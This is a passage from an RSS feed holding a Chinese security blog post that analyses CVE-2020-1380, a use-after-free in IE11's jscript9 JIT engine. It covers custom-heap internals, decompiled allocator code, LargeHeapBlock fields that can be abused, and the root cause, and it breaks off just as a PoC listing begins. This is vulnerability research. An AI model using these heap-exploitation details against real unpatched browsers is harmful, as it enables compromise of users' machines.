<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>f undefined</title>
    <link>https://wechat2rss.xlab.app/feed/5f1bca42a3e1bc932b1e2609abad8c36d9ad37e1.xml</link>
    <description>围绕系统安全、应用安全和设备安全，专注漏洞挖掘研究，部分涉猎红队技术。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (f undefined)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4r1kI2MQGpHiao4U4W5m5ltzSLNXzJwxAeQeIYrJrdTXQ/0</url>
      <title>f undefined</title>
      <link>https://wechat2rss.xlab.app/feed/5f1bca42a3e1bc932b1e2609abad8c36d9ad37e1.xml</link>
    </image>
    <item>
      <title>ie CVE-2020-1380 UAF 漏洞分析及利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3OTc2NTMxNA==&amp;mid=2247483711&amp;idx=1&amp;sn=08aca09e8263a1224c7366979d8c5d8d</link>
      <description>ie CVE-2020-1380是2020年抓到的一个在野利用的0 day，且此漏洞目前在野外利用不少。</description>
      <content:encoded><![CDATA[<p>
<span>f0cus7</span> <span>2022-05-15 17:55</span> <span style="display: inline-block;">江苏</span>
</p>

<p>ie CVE-2020-1380是2020年抓到的一个在野利用的0 day，且此漏洞目前在野外利用不少。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7cd903cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icK86IQtBqyRJXAfqoZI4tATBlsXeFcMS7d8So39D0pygjc4lbzuNLicGQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>的版本是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">11.103.10586.0</code>，在<a href="https://msdn.itellyou.cn/上下的系统是" target="_blank">https://msdn.itellyou.cn/上下的系统是</a><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) </code>，对应的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">windows</code>版本为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Version 1511(OS Build 10586.104)</code>，该系统安装后的版本即为此次分析的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>浏览器版本，漏洞分析是在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">x86</code>系统上进行的。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7978142076502732" data-s="300,640" style="" data-type="png" data-w="366" src="https://wechat2rss.xlab.app/img-proxy/?k=be9f2d1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icKYpFfFPmVOY5V8yr5Yrwibd4T1FfEgXAgtmVzlib4tZPrP6c5MbS06bCA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 10px 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">version</figcaption></figure><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">基础知识--custom heap 堆</span><span style="box-sizing: border-box;"></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie 9</code>之后的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">jscript9</code>引擎中，为了阻止OOB漏洞的利用，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>把一些重点对象单独拿出来放到一个堆中来进行管理，而不是直使用进程堆。因此在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">jscript9</code>中，堆数据可以分为两部分：</p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;">一部分是进程堆（<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Process Heap</code>、<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">CRT Heap</code>）。</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;">一部分是自定义堆（<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Custom Heap</code>），普通的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Array</code>对象、<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">typed array</code>（<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">view</code>）对象、<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">string</code>对象都是分配在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">custom Heap</code>里的。</section></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">一个有意思的点是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">var fa = new Float32Array(8)</code>的代码，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">typed array</code>对象的数据结构会保存在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">custom heap</code>当中，然而它的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fa.buffer(ArrayBuffer)</code>的数据却是从进程堆中申请出来的。下面是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JavascriptArrayBuffer::Create</code>的反汇编代码，可以看到<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>的堆分配函数是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">CRT</code>函数<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">malloc</code>。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">struct</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Js</span>:</span>:JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">unsigned</span> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">int</span> a1,<br style="box-sizing: border-box;"/>        struct Js::DynamicType *a2)<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/>  ...<br style="box-sizing: border-box;"/>  Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);<br style="box-sizing: border-box;"/>  *(_DWORD *)v5 = &amp;Js::JavascriptArrayBuffer::`vftable<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">&#39;</span>;<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> v5;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">还需要知道一点的是当在自定义堆中申请大的对象时，自定义堆的数据管理结构是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>，该对象构成了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>自定义堆的基础，存储有自定义堆上分配的大型堆空间的管理信息。<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>对象存储在进程堆中的。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>的数据结构如下所示，偏移量<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0x4</code>处的指针指向<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">IE</code>自定义堆中的数据，对于通过创建多个大的Array对象来触发<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>对象分配的情况，该指针直接指向了此时分配的一个<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Array</code>对象。<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0x14</code>指向的是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Allocated Block Count</code>，即当前已经分配的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Block</code>，如果该字段被置为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>，则该对象所指向的自定义堆会在垃圾回收的过程中被释放。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.4336283185840708" data-s="300,640" style="" data-type="png" data-w="226" src="https://wechat2rss.xlab.app/img-proxy/?k=2128f6f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icKCnpjeohibM88G1npGY0jia6Zc8jTMziczu1Bw9YkeVg8Ziar974X3pUdOQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 10px 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">LargeHeapBlock_struct</figcaption></figure><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">漏洞分析</span><span style="box-sizing: border-box;"></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">CVE-2020-1380</code>是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">IE11</code>上<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">jscript9</code>引擎的一个<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">UAF</code>漏洞，其成因是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Array.prototype.push</code>的副作用导致<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JIT</code>引擎数据类型推导错误。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">趋势科技给出的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">poc</code>代码如下：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> ab = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: 